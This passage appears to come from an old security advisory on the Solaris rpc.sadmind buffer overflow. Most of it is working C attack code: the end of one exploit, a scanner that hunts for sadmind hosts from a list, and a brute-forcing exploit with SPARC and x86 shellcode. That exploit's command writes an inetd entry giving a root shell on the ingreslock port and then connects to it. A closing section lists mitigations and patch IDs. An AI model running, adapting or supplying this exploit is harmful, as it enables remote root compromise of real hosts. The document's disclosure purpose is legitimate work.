(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(ADM_CLIENT_DOMAIN) + 1 +
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
strlen(ADM_FENCE) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(NETMGT_ENDOFARGS) + 1;
send.version.string1 = ADM_FW_VERSION;
send.version.uint1 = NETMGT_ARG_INT;
send.version.uint2 = sizeof(int);
send.version.int1 = 1;
send.string.string1 = ADM_CLIENT_DOMAIN;
send.string.uint1 = NETMGT_ARG_STRING;
send.string.uint2 = strlen(buf);
send.string.string2 = buf;
send.fence.string1 = ADM_FENCE;
send.fence.uint1 = NETMGT_ARG_INT;
send.fence.uint2 = sizeof(int);
send.fence.int1 = 666;
send.footer.string1 = NETMGT_ENDOFARGS;
cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
if (cl == NULL) {
clnt_pcreateerror("clnt_create");
exit(1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
if (!pinging) {
fprintf(stdout,
"%%esp 0x%08lx offset %d --> return address 0x%08lx [%d+%d]\n",
sp, offset, addr, alignment, junk);
tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_SERVICE,
xdr_nm_send, (caddr_t) &send,
xdr_nm_reply, (caddr_t) &reply, tm);
if (stat != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
fprintf(stdout, "now check if exploit worked; "
"RPC failure was expected\n");
exit(0);
}
fprintf(stderr, "exploit failed; "
"RPC succeeded and returned { %u, %u, \"%s\" }\n",
reply.uint1, reply.uint2, reply.string1);
clnt_destroy(cl);
exit(1);
} else {
tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_PING,
xdr_void, NULL,
xdr_void, NULL, tm);
if (stat != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
clnt_destroy(cl);
exit(0);
}
}
And finally, the scanner:
/* stupid rpc.sadmind scanner ja */
/* this is noisy/ripped, use it on your net only */
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <signal.h>
#include <rpc/rpc.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#define ERROR -1
void woopy(int s);
void usage(char *s);
void scan(char *i, char *o);
int sadmind(char *host);
unsigned long int res(char *p);
void usage(char *s)
{
printf("Usage: %s <inputfile> <outputfile>\n",s);
exit(ERROR);
}
void main(int argc, char **argv)
{
if(argc < 3) usage(argv[0]);
scan(argv[1], argv[2]);
}
void scan(char *i, char *o)
{
FILE *iff, *of;
char buf[512];
if((iff=fopen(i,"r")) == NULL)
return;
while(fgets(buf,512,iff) != NULL)
{
if(buf[strlen(buf)-1]=='\n')
buf[strlen(buf)-1]=0;
if(sadmind(buf) && (of=fopen(o,"a")) != NULL) {
buf[strlen(buf)+1]=0;
buf[strlen(buf)]='\n';
fputs(buf,of);
fclose(of);
}
}
fclose(iff);
}
void woopy(int s)
{
return;
}
int sadmind(char *host)
{
struct sockaddr_in server_addr;
struct pmaplist *head = NULL;
int sockett = RPC_ANYSOCK;
struct timeval minutetimeout;
register CLIENT *client;
struct rpcent *rpc;
server_addr.sin_addr.s_addr=res(host);
server_addr.sin_family=AF_INET;
server_addr.sin_port = htons(PMAPPORT);
minutetimeout.tv_sec = 15;
minutetimeout.tv_usec = 0;
/* cause clnttcp_create uses connect() */
signal(SIGALRM,woopy);
alarm(15);
if ((client = clnttcp_create(&server_addr, PMAPPROG,
PMAPVERS, &sockett, 50, 500)) == NULL) {
alarm(0);
signal(SIGALRM,SIG_DFL);
return 0;
}
alarm(0);
signal(SIGALRM,SIG_DFL);
if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t)
xdr_void, NULL,
(xdrproc_t) xdr_pmaplist, &head, minutetimeout) !=
RPC_SUCCESS)
return 0;
if (head != NULL)
for (; head != NULL; head = head->pml_next)
if((rpc =
getrpcbynumber(head->pml_map.pm_prog)))
if(strcmp(rpc->r_name,"sadmind") == 0)
return 1;
return 0;
}
unsigned long int res(char *p)
{
struct hostent *h;
unsigned long int rv;
h=gethostbyname(p);
if(h!=NULL)
memcpy(&rv,h->h_addr,h->h_length);
else
rv=inet_addr(p);
return rv;
}
Optyx added following. This brute forces the offset and has both
the x86 and sparc version inside itself. Its fairly straight
forward. Tested on Solaris Sparc 2.6 and 2.7 and x86 2.7.
/*************************************************************************\
** **
** Super Solaris sadmin Exploit - Based on sadminex by Cheez Whiz **
** by optyx <optyx@uberhax0r.net> **
** based on sadminsparc. and sadminx86.c by Cheez Whiz **
** **
\*************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
char shellsparc[] = "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
"\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
"\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
"\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
"\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
"\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
"\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
"\x2d\x63\xff";
char shellx86[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
"\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
"\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
"\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
"\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
"\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
"\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\xff\x2d\x63\xff";
int buflen[] = { 1076, 1056 };
int addrlen[] = { 560, 8 };
int lens[] = { 84, 76 };
int offset[] = { 688, 572 };
int alignment[] = { 4, 0 };
long int nops[] = { 0x801bc00f, 0x90 };
int junks[] = { 512, 536 };
char command[] = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
"> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";
unsigned long int sp[] = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
#define FRAMELEN1 608
#define FRAMELEN2 4200
#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1
#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"
#define FW_VERSION "VERSION"
#define CLIENT_DOMAIN "CLIENT_DOMAIN"
#define FENCE "FENCE"
struct nm_send_header {
struct timeval timeval1;
struct timeval timeval2;
struct timeval timeval3;
unsigned int uint1;
unsigned int uint2;
unsigned int uint3;
unsigned int uint4;
unsigned int uint5;
struct in_addr inaddr1;
struct in_addr inaddr2;
unsigned long ulong1;
unsigned long ulong2;
struct in_addr inaddr3;
unsigned long ulong3;
unsigned long ulong4;
unsigned long ulong5;
struct timeval timeval4;
unsigned int uint6;
struct timeval timeval5;
char *string1;
char *string2;
char *string3;
unsigned int uint7;
};
struct nm_send_arg_int {
char *string1;
unsigned int uint1;
unsigned int uint2;
int int1;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_arg_string {
char *string1;
unsigned int uint1;
unsigned int uint2;
char *string2;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_footer {
char *string1;
};
struct nm_send {
struct nm_send_header header;
struct nm_send_arg_int version;
struct nm_send_arg_string string;
struct nm_send_arg_int fence;
struct nm_send_footer footer;
};
struct nm_reply {
unsigned int uint1;
unsigned int uint2;
char *string1;
};
bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
char *addr;
size_t size = sizeof(struct in_addr);
if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint5))
return (FALSE);
addr = (char *) &objp->inaddr1.s_addr;
if(!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong1))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong2))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong3))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong4))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong5))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint6))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint7))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_int(xdrs, &objp->int1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
if(!xdr_nm_send_header(xdrs, &objp->header))
return (FALSE);
if(!xdr_nm_send_arg_int(xdrs, &objp->version))
return (FALSE);
if(!xdr_nm_send_arg_string(xdrs, &objp->string))
return (FALSE);
if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
return (FALSE);
if(!xdr_nm_send_footer(xdrs, &objp->footer))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
void usage(char *prog)
{
fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
fprintf(stderr, " [-i increment] [-p]\n");
fprintf(stderr, "\tarchitectures:\n");
fprintf(stderr, "\t0 - Solaris SPARC 2.6\n");
fprintf(stderr, "\t1 - Solaris SPARC 2.7 (7.0)\n");
fprintf(stderr, "\t2 - Solaris x86 2.6\n");
fprintf(stderr, "\t3 - Solaris x86 2.7 (7.0)\n\n");
exit(-1);
}
int exp(char *host, int arch, unsigned long int sp, int pinging)
{
CLIENT *cl;
struct nm_send send;
struct nm_reply reply;
struct timeval tm;
enum clnt_stat stat;
int c, i, len, slen, clen, junk, a;
char *cp, *buf;
unsigned long int addr, fp;
a = (int) arch / 2;
buf = (char *) malloc(buflen[a] + 1);
if(a)
{
/* Solaris x86 */
memset(buf, nops[a], buflen[a]);
junk = junks[arch - 2];
junk &= 0xfffffffc;
for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++)
{
*cp++ = (sp >> 0) & 0xff;
*cp++ = (sp >> 8) & 0xff;
*cp++ = (sp >> 16) & 0xff;
*cp++ = (sp >> 24) & 0xff;
}
addr = sp + offset[a];
for (i = 0; i < addrlen[a] / 4; i++)
{
*cp++ = (addr >> 0) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 24) & 0xff;
}
slen = strlen(shellx86);
clen = strlen(command);
len = clen;
len++;
len = -len;
shellx86[lens[a]+0] = (len >> 0) & 0xff;
shellx86[lens[a]+1] = (len >> 8) & 0xff;
shellx86[lens[a]+2] = (len >> 16) & 0xff;
shellx86[lens[a]+3] = (len >> 24) & 0xff;
cp = buf + buflen[a] - 1 - clen - slen;
memcpy(cp, shellx86, slen);
cp += slen;
memcpy(cp, command, clen);
cp += clen;
*cp = '\xff';
}
else
{
/* Solaris SPARC */
memset(buf, '\xff', buflen[a]);
fp = sp + FRAMELEN1 + FRAMELEN2;
fp &= 0xfffffff8;
addr = sp + offset[a];
addr &= 0xfffffffc;
for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
{
*cp++ = (fp >> 24) & 0xff;
*cp++ = (fp >> 16) & 0xff;
*cp++ = (fp >> 8) & 0xff;
*cp++ = (fp >> 0) & 0xff;
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
slen = strlen(shellsparc);
clen = strlen(command);
len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
len &= 0xfffffffc;
for(i = 0; i < lens[a] / 4; i++)
{
*cp++ = (nops[a] >> 24) & 0xff;
*cp++ = (nops[a] >> 16) & 0xff;
*cp++ = (nops[a] >> 8) & 0xff;
*cp++ = (nops[a] >> 0) & 0xff;
}
len = clen;
len++;
len = -len;
shellsparc[lens[a]+0] = (len >> 24) & 0xff;
shellsparc[lens[a]+1] = (len >> 16) & 0xff;
shellsparc[lens[a]+2] = (len >> 8) & 0xff;
shellsparc[lens[a]+3] = (len >> 0) & 0xff;
memcpy(cp, shellsparc, slen);
cp += slen;
memcpy(cp, command, clen);
}
buf[buflen[a]] = '\0';
memset(&send, 0, sizeof(struct nm_send));
send.header.uint2 = NETMGT_HEADER_TYPE;
send.header.string1 = "";
send.header.string2 = "";
send.header.string3 = "";
send.header.uint7 =
strlen(FW_VERSION) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(CLIENT_DOMAIN) + 1 +
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
strlen(FENCE) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(NETMGT_ENDOFARGS) + 1;
send.version.string1 = FW_VERSION;
send.version.uint1 = NETMGT_ARG_INT;
send.version.uint2 = sizeof(int);
send.version.int1 = 1;
send.string.string1 = CLIENT_DOMAIN;
send.string.uint1 = NETMGT_ARG_STRING;
send.string.uint2 = strlen(buf);
send.string.string2 = buf;
send.fence.string1 = FENCE;
send.fence.uint1 = NETMGT_ARG_INT;
send.fence.uint2 = sizeof(int);
send.fence.int1 = 666;
send.footer.string1 = NETMGT_ENDOFARGS;
cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");
if (cl == NULL)
{
clnt_pcreateerror("clnt_create");
return 0;
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
if (!pinging)
{
tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_SERVICE,
xdr_nm_send, (caddr_t) &send,
xdr_nm_reply, (caddr_t) &reply, tm);
if (stat != RPC_SUCCESS)
{
clnt_perror(cl, "clnt_call");
fprintf(stdout, "now check if exploit worked;\n");
return 0;
}
fprintf(stderr, "exploit failed; "
"RPC succeeded and returned { %u, %u, \"%s\" }\n",
reply.uint1, reply.uint2, reply.string1);
clnt_destroy(cl);
exit(1);
}
else
{
tm.tv_sec = NETMGT_UDP_PING_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_PING,
xdr_void, NULL,
xdr_void, NULL, tm);
if (stat != RPC_SUCCESS)
{
clnt_perror(cl, "clnt_call");
exit(1);
}
clnt_destroy(cl);
return 0;
}
}
int main(int argc, char *argv[])
{
int i, arch;
char *host = "";
int pinging = 0, inc = 4, size = 2048;
unsigned long int addr;
for(i=0;i<argc;i++)
{
if(!strcmp(argv[i], "-t"))
host = argv[i+1];
if(!strcmp(argv[i], "-a"))
arch = atoi(argv[i+1]);
if(!strcmp(argv[i], "-i"))
inc = atoi(argv[i+1]);
if(!strcmp(argv[i], "-s"))
size = atoi(argv[i+1]);
if(!strcmp(argv[i], "-p"))
pinging = 1;
}
if(arch > 3 || arch < 0)
usage(argv[0]);
if(size < 0)
usage(argv[0]);
if(inc < 0)
usage(argv[0]);
for(i = 0; i < size; i+=inc)
{
addr = sp[arch] + i;
exp(host, arch, addr, pinging);
addr = sp[arch] - i;
exp(host, arch, addr, pinging);
}
execl("telnet", host, "ingreslock");
return 0;
}
Solution
Unless you require sadmin (if your using the Solstice AdminSuite
you do) it is suggested you comment sadmind out from your
/etc/inetd.conf entry. By default, the line in /etc/inetd.conf
that starts sadmind appears as follows:
100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind
If you do require this service it is suggested you block all
access to it from external networks via filtering rulesets on your
router(s) or Firewall(s). Also, run 'sadmind -S2' and set the
stack to noexec_user_stack =1" via /etc/system (from the titan
module that does this).
The following patches are available in relation to the above
problem:
OS Version Patch ID
-------------------------
SunOS 5.7 108662-01
SunOS 5.7_x86 108663-01
SunOS 5.6 108660-01
SunOS 5.6_x86 108661-01
SunOS 5.5.1 108658-01
SunOS 5.5.1_x86 108659-01
SunOS 5.5 108656-01
SunOS 5.5_x86 108657-01
AdminSuite Version Patch ID
--------------------------------
2.3 104468-18 (see Note)
2.3_x86 104469-18 (see Note)
Note: Install patch if AdminSuite is installed. AdminSuite may be
installed on SunOS 5.7, 5.6, 5.5.1, 5.5, 5.4 or 5.3.
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